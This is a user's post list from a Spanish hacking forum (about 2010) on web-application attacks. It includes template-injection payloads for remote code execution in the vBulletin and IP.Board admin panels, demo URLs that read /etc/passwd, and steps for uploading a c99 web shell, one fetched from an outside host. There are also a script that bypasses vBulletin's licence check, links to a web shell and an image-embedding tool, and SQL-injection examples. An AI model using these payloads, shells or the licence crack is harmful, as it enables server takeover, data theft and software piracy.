Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#3311
Antes de comenzar a explicar debo decir que esto se encuentra solamente en el sistema de administración xD asi que solamente los que tengan acceso podrán ejecutar esto.

Estaba viendo un demo oficial de vbulletín y quería ver si podía reproducir la misma vulnerabilidad de ipboard ya que son practicamente los mismos desarrolladores pero me encontré con algunos problemas.
( http://foro.elhacker.net/nivel_web/codigo_de_ejecucion_php_y_xss_en_ipboard_305-t285256.0.html )

Primero que nada acá no se pueden ejecutar funciones directamente como ipboard aunque la sintaxis es muy similar al editar un theme.
Lo que si pude lograr es inyectar código arbitrario en las las llamas {vb:raw}.
http://demo.vbulletin.com/admincp/template.php?s=&do=add&dostyleid=2&title=FORUMDISPLAY&group=forumdisplay

Para llamar a un título usas lo siguiente:
<title>{vb:raw foruminfo.title_clean}</title>

Por lo tanto me imaginé que debería llamar a alguna clase utilizando eval, o sea algo asi como eval('$clase->'.$variable.'();');

Así que me puse a experimentar tratando de escapar con comillas y puntos y comas y a final que pude escapar del eval e inyectar código de la siguiente forma:
{vb:raw $voptions[eval(stripslashes(html_entity_decode($_GET[x])))]}

Lo que sucede es que si tratas de exponer directamente la función entonces vbulletin te va a decir que no es una variable válida asi que le damos en el gusto y lo encerramos en una variable válida.
Ahora si intentan poner esto en cualquier parte del theme no va a funcionar porque vbulletin utiliza un filtro y tiene una whitelist con las funciones que solamente pueden utilizarse, por lo tanto les va a rechazar la función eval().

Dentro del tag <title></title> es donde pueden ejecutarse las funciones de esta forma dentro de una variable válida y el filtro no va a saltar porque no lo procesará de forma correcta.

Con esto ya podemos hacer un
http://demo.vbulletin.com/index.php?x=if($_FILES){copy($_FILES['archivo']['tmp_name'],'c99.php');}exit;

y desde el firebug editamos el DOM del contenido HTML para escribir un form:
Código (html4strict) [Seleccionar]
<form method="post" enctype="multipart/form-data">
<input name="archivo" type="file">
<input value="Enviar" type="submit">
<input type="hidden" name="adminhash" value="baa10b27ca5198266ab2cf09f2b101e4" />
<input type="hidden" name="securitytoken" value="1266787977-14112f434378273e323fe65d5e7fc43535be4705" />
</form>


Ojo que vbulletín nos pedirá el token de nuestra sesión el cual lo puse en un input de tipo hidden y con eso ya subimos la c99 o si no la clásica con file_put_contents('c99.php', file_get_contents('http://r57.gen.tr/99.txt'));

Saludos.
#3312
Estaba viendo una demostración del IPBoard que pude obtener desde la web oficial y viendo algunas opciones me pude dar cuenta que puedes ejecutar código arbitrario y xss en dos lados diferentes.

Antes de comenzar a explicar debo decir que esto se encuentra solamente en el sistema de administración xD asi que solamente los que tengan acceso podrán ejecutar ambas cosas.

El xss se encuentra al editar el logo:
http://ejemplo/admin/index.php?adsess=[sesion]&app=core&&module=templates&section=easylogo&do=finish

En este lugar encontraremos un input para poner el logo del theme, pero no podemos inyectar código html porque nos filtra las comillas simples y dobles, asi que como lo podemos evadir?
VBulletín utiliza variables de esta forma: {style_image_url}/logo.png asi que dentro de {} no nos filtran nada asi que desde ahi podemos inyectar de la siguiente manera:
Citarlogo.png<{'onerror=alert(0) x='}

Con eso ya puedes ejecutar código arbitrario desde el theme.

El código de ejecución en php se encuentra en la edición del theme.
Por eejmplo si al theme le ponemos <?php echo 'x'; ?> no lo ejecutará sino que lo mostrará solamente ya que lanza un echo completo, pero si ejecuta las variables en php, por ejemplo {$x} ya que el theme completo se procesa en eval y echo.

Si no podemos usar tags de php como escapamos y ejecutamos código?....
así:
Código (php) [Seleccionar]
{${eval(stripslashes(html_entity_decode($_GET[x])))}}

Tube que encerrar la variabe en dos llaves diferentes porque vbulletin me filtraba las llaves sin un $.
También reemplaza los puntos a htmlentities y utiliza addslashses xD asi que le aplicamos las funciones inversas.

Demo online:
http://a133.ipsdemo.ipslink.com/index.php?x=echo file_get_contents('../../../../../../../etc/passwd');exit;
y
view-source:http://a133.ipsdemo.ipslink.com/index.php?x=system%28%27ls%20-la%27%29;exit;

Ojo que el demo que me dieron dura 24 horas asi que si no ven el enlace se hacen uno nuevo y lo prueban.

PD: a servidores como el del demo que tiene allow url open activo pueden subirse una c99 y hacer full backup :P
PD2: a vbulletín no les aviso de la vulnerabilidad porque ellos ganan dinero vendiendo el sistema y tienen el suficiente dinero como para contratar a auditores, yo no les hago el trabajo porque ellos nunca me han dado nada, no así los de libre pago como smf, ellos si aportan muchisimo a la gente asi que a ellos si les reportamos primero :P.
#3313
si es un foro grande si, o si no no, además no tienen porque saber que tu sistema es vbulletin, puede ser un sistema propio que usa las mismas variables :p solo es cosa de hacer las modificaciones adecuadas, pero siempre es mejor pagar por el sistema.

CitarLo malo es que cuando se haga conocido este tutorial, me da que los de VB se pondrán manos a la obra para buscarse otra manera para evitar este engaño...
Cuando eso pase al dia siguiente sacaré un nuevo parche curita :P
#3314

PCu es una selección de temas orientados a los parches de sistemas WEBs (PCu = Parche Curita).

Bueno, primero nos conseguimos los archivos de vbulletín, ahora lo montamos en el servidor normalmente y cuando hagamos nuestro archivo de configuraciones veremos que nos redireccionará hacia http://ejemplo/vbulletin/install/install.php y nos pide un numero de serie :o asi que si no tenemos ese mágico numero de serie no podremos instalar el sistema.

Vamos al directorio de instalación y hacemos ingeniería inversa, asío como en la electrónica mi profesor siempre me decía que si queremos saber como funciona algo solo debemos recorrer el camino que hace la energía eléctrica, asi que nosotros para saber como hace la validación seguiremos las funciones y las inclusiones en orden una por una.

Abrimos el archivo /install/install.php y encontramos que la única inclusión que hay es hacia require_once('./installsteps.php'); sin anteponer ninguna función y despues finaliza el script asi que dejamos tranquilo ese archivo y nos vamos a editar /install/installsteps.php.
En este archivo lo primero que vemos cuando lo ejecutas es un if con una comparación:
Código (php) [Seleccionar]
if ($_GET['step'] > 2 OR $_POST['step'] > 2)
{
require_once('./installcore.php');
// connected to the database now lets load schema
require_once(DIR . '/install/mysql-schema.php');
}
else
{
if ($_ENV['REQUEST_URI'] OR $_SERVER['REQUEST_URI'])
{
$scriptpath = $_SERVER['REQUEST_URI'] ? $_SERVER['REQUEST_URI'] : $_ENV['REQUEST_URI'];
}
else
{
if ($_ENV['PATH_INFO'] OR $_SERVER['PATH_INFO'])
{
$scriptpath = $_SERVER['PATH_INFO'] ? $_SERVER['PATH_INFO']: $_ENV['PATH_INFO'];
}
else if ($_ENV['REDIRECT_URL'] OR $_SERVER['REDIRECT_URL'])
{
$scriptpath = $_SERVER['REDIRECT_URL'] ? $_SERVER['REDIRECT_URL']: $_ENV['REDIRECT_URL'];
}
else
{
$scriptpath = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_ENV['PHP_SELF'];
}

if ($_ENV['QUERY_STRING'] OR $_SERVER['QUERY_STRING'])
{
$scriptpath .= '?' . ($_SERVER['QUERY_STRING'] ? $_SERVER['QUERY_STRING'] : $_ENV['QUERY_STRING']);
}
}
define('SCRIPTPATH', $scriptpath);
define('SKIPDB', true);

require_once('./installcore.php');
}


No estamos enviando ninguna variable GET asi que se está activando el "else" cuando lo ejecutamos y solo se hacen declaraciones de rutas y la única inclusion que hay es hacia installcore.php pero como sabremos si es ese archivo que hace la validación o es algo mas hacia abajo?...
Probamos poniendo "exit;" despues de la inclusion, algo así como:
Código (php) [Seleccionar]
require_once('./installcore.php');
exit;


Me sigue apareciendo la pantalla de verificación, asi que le pongo el exit antes de la inclusion:
Código (php) [Seleccionar]
exit;
require_once('./installcore.php');


Ahi se queda la pantalla en blanco asi que ya sabemos que la pantalla de validación se está llamando desde ahi, por lo tanto lo abrimos y nos encontramos con esto:
Código (php) [Seleccionar]
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
require_once(DIR . '/install/authenticate.php');


Pero ahora como sabremos que archivo es el que autentifica?. Le ponemos un exit al final de todas estas inclusiones para ver si lo hace alguno de estos archivos o se hace mas abajo la validación:
Código (php) [Seleccionar]
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
require_once(DIR . '/install/authenticate.php');
exit;


Acá vemos que la pantalla sigue apareciendo asi que subimos archivo por archivo:
Código (php) [Seleccionar]
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
exit;
require_once(DIR . '/install/authenticate.php');


Ahi se queda en blanco, eso quiere decir que autentificate no se alcanzó a ejecutar y ese es el archivo que nos detiene la instalación, por lo tanto dejamos tranquilo estos archivos y nos vamos directamente hacia autentificate.php.
Ahi vemos lo siguiente:
Código (php) [Seleccionar]
if ($vbulletin->GPC['bbcustomerid'] !== CUSTOMER_NUMBER)

Nos está haciendo comparación con nuestro id de licencia asi que lo reemplazamos por esto:
Código (php) [Seleccionar]
if (1 == 2)

Y listo! ya podemos utilizar vbulletín sin tener que pasar pro el sistema de validación de licencias. Ahora si alguien quiere utilizarlo entonces no le haga nada y pague por este buén sistema.

Hagamos un parchador automático:
Código (php) [Seleccionar]
<?php
 $finstall 
'install/authenticate.php';
 if(!
$buffer file_get_contents($finstall)){
  die(
'Imposible obtener el archivo '.$finstall);
 }
 
$payload '$vbulletin->GPC[\'bbcustomerid\'] !== CUSTOMER_NUMBER';
 if(
strpos($buffer$payload) > 0){
  
$buffer str_replace($payload'1==2'$buffer);
  if(
file_put_contents($finstall$buffer)){
   
header('location: /'); /* Procede la instalación */
  
}else{
   die(
'Imposible sobreescribir el archivo '.$finstall);
  }
 }else{
  die(
'La versi&oacute;n de VBullet&iacute;n es incompatible');
 }
?>


Lo dejas en el directorio de vbulletín y despues lo visualizas, cuando comienze la instalación del sistema lo borras.
#3315

PCu es una selección de temas orientados a los parches de sistemas WEBs (PCu = Parche Curita).

¿Se han fijado que a veces uno necesita modificar el footer de SMF pero es un poco dificil porque los desarrolladores no explican como hacerlo y cuando por fin encuentras la función que lo hace al modificarlo te da un error de theme?.

Al grano. Buscamos el archivo subs/Subs.php y buscamos esto:
Código (php) [Seleccionar]
// Show the copyright...
function theme_copyright($get_it = false)
{ ...


Esta función es el que se encarga del copyright y podemos evadir unos cuantos googledorks y gente en busca de foros vulnerables ya que nos canta de plano la versión del mismo.
Ahora si queremos eliminar completamente el copyright no podemos darle un return true o simplemente eliminar el contenido porque el sistema nos alertará. Hay formas de eliminar esa alerta pero mejor vamos a hacerlo mas sencillo.

Buscamos en nuestro theme el archivo index.template.php y buscamos la siguiente linea:
Código (php) [Seleccionar]
function template_main_below(){ ...

Ahora en ese lugar saldrá la impresión del copyright junto a la declaración de varias variables ocultas.
A menos que modifiquemos el subs.php podemos escribir directamente un <!-- --> pero el problema es que podría dar conflicto con algunas actualizaciones del smf asi que modificamos el theme sin la necesidad de tocar los subs.

Donde dice:
Código (php) [Seleccionar]
theme_copyright();

si le ponemos /**/ o lo eliminamos da error, si le ponemos <!-- --> o <div style="display: none también da error por lo tanto le damos el gusto y lo imprimimos pero a nuestra forma :P
Código (php) [Seleccionar]
ob_start();
theme_copyright();
$pierdete = ob_get_contents();
ob_end_clean();


Iniciamos la encapsulación dle buffer de salida, imprimimos el copyright, lo pasamos a una variable y eliminamos el buffer :P despues podemos darle unset() para eliminarlo aunque no hay necesidad.

Saludos.
#3316
Nivel Web / Re: Shell pho en imagen
17 Febrero 2010, 18:33 PM
lo de la c99 indetectable sería raro porque no se usa en windows y un servidor en linux es raro verlo con antivirus funcionales porque la seguridad tiene otro enfoque.

http://foro.elhacker.net/nivel_web/c99_shellphp_cifrado_en_base_64-t169037.0.html
El link de rapidshare que sale en ese post todavía funciona.
#3317
Nivel Web / Re: Shell pho en imagen
17 Febrero 2010, 10:19 AM
La c99:
http://pastebin.com/f7c1ad9c2

EditJPGcom para inyectar la c99 en el jpg:
http://makovice.nipax.cz/download/edjpgcom.exe

Saludos.
#3318
hola, talves lo que quieras saber es como hacer un xss ya que la página utiliza htmlentities.
Pues no puedes a menos que el servidor tenga una version de php vieja o asp vieja dependiendo de la plataforma que utilize y como esté hecho el código.
Aunque eso de evitar el htmlentities forzadamente no se puede.
#3319
Nivel Web / Re: ASP vulnerable a SQLi por IIS
15 Febrero 2010, 01:55 AM
Digamos que tienes el procedimiento:
Código (sql) [Seleccionar]
CREATE procedure proceso(IN nombre char(30), IN perteneciente integer)
SELECT * FROM clientes WHERE nombres = nombre AND perteneciente_vendedor = numero;


Ahora tienes dos tablas, la tabla clientes y la de vendedores.
Digamos que cada vendedor puede ver los datos solamente de sus propios clientes, entonces hace algo así:
Código (sql) [Seleccionar]
$sql = "call proceso('".$_POST['user']."', 3);";

Donde 3 es el id del vendedor, entonces el vendedor con identificación 3 obtendrá todos los datos del cliente pedro de esta forma:
index.php?nombre=pedro
Si este intenta obtener los datos de un cliente que no le pertenece como vendedor entonces debería retornar un valor vacio.
En este caso se puede hacer una inyección SQL para poder obtener los datos de cualquier cliente sin la necesidad de que te pertenezca:
index.php?nombre=pablo', 1); --

Las inyecciones sql pueden ser mas dificiles porque talves el atacante ya no pueda obtener los datos desde schema u obtener datos de otras tablas pero si puede lograr bypasear sistemas de accesos.
Todo depende de la query, por ejemplo smf tiene o tenía una inyección sql en base64 donde se la variable inyectada se repetía en dos ocasiones sobre la misma query, entonces tenías que hacer que la finalización de la consulta pudiera ser compatible con el inicio de la primera sin corromper toda la query xD y tenías que adaptarte a los saltos de linea también, etc.
Cada query puede ser vulnerada, una mas que otra, siempre y cuando no estén diseñadas en el lenguaje WEB correctamente, usando (int)$var en php para valores numéricos por ejemplo ya que aunque procedimiento si distingue el valor integer eso no impide que el usuario pueda inyectar código ya que el lenguaje web envía la query al servidor mysql en formato de texto plano sin una estructura que php pueda controlar a exepción de algunas clases que si lo hacen, unas de forma mas seguras que otras pero no es la solución.

No puedes prevenir una inyección realizando procedimientos aunque si se la haces mas dificil y mas aun cuando es blind, tampoco utilizando clases que manejen la query como un objeto, una buena programación sin inyecciones sql es mas simple de lo que se cree y por eso puse el último enlace en el post anterior:

http://foro.elhacker.net/nivel_web/como_evitar_la_inyeccion_sql-t252384.0.html

Ahora en asp, cgi perl, python, etc no se que funciones tendrán para hacer querys seguras pero en php si hay y es una sola.
#3320
Nivel Web / Re: ASP vulnerable a SQLi por IIS
15 Febrero 2010, 00:38 AM
Las magic quotes no te salvan de una inyección SQL ya que depende mucho el caso de como esté construida la query y como se realiza la consulta desde el motor interpretador del lenguaje WEB y el servidor SQL.

Por ejemplo si un campo es numérico y tienes magic quotes activado o utilizas htmlentities entonces sucede esto:

Código (php) [Seleccionar]
$sql = 'select * from noticias where id = '.$_GET['id'];

En este caso no se necesitan comillas para realizar una query y sucede de forma muy similar en asp, también cuando insertas strings sin encerrarlos en comillas entonces puedes inyectar código SQL con tan solo escribir un espacio en blanco.

La función en php mysql_real_escape_string() filtra varios carácteres dependiendo de la configuración del mismo servidor y el charset por defecto:
CitarEscapes special characters in the unescaped_string , taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used.

mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

This function must always (with few exceptions) be used to make data safe before sending a query to MySQL.

Magic quotes puede salvar en el caso de que el valor esté encerrado en comillas pero en el caso de ser numérico es inutil porque si le pones comillas te lanza error al buscar en una columna de tipo numérico.

http://foro.elhacker.net/nivel_web/como_evitar_la_inyeccion_sql-t252384.0.html

La inyección SQL se produce porque php envía la query en forma de string al servidor, no la estructura internamente como lo hace la clase mysqli.

No se que tipo de protecciones nativas tenga asp, supongo que debe haber alguna.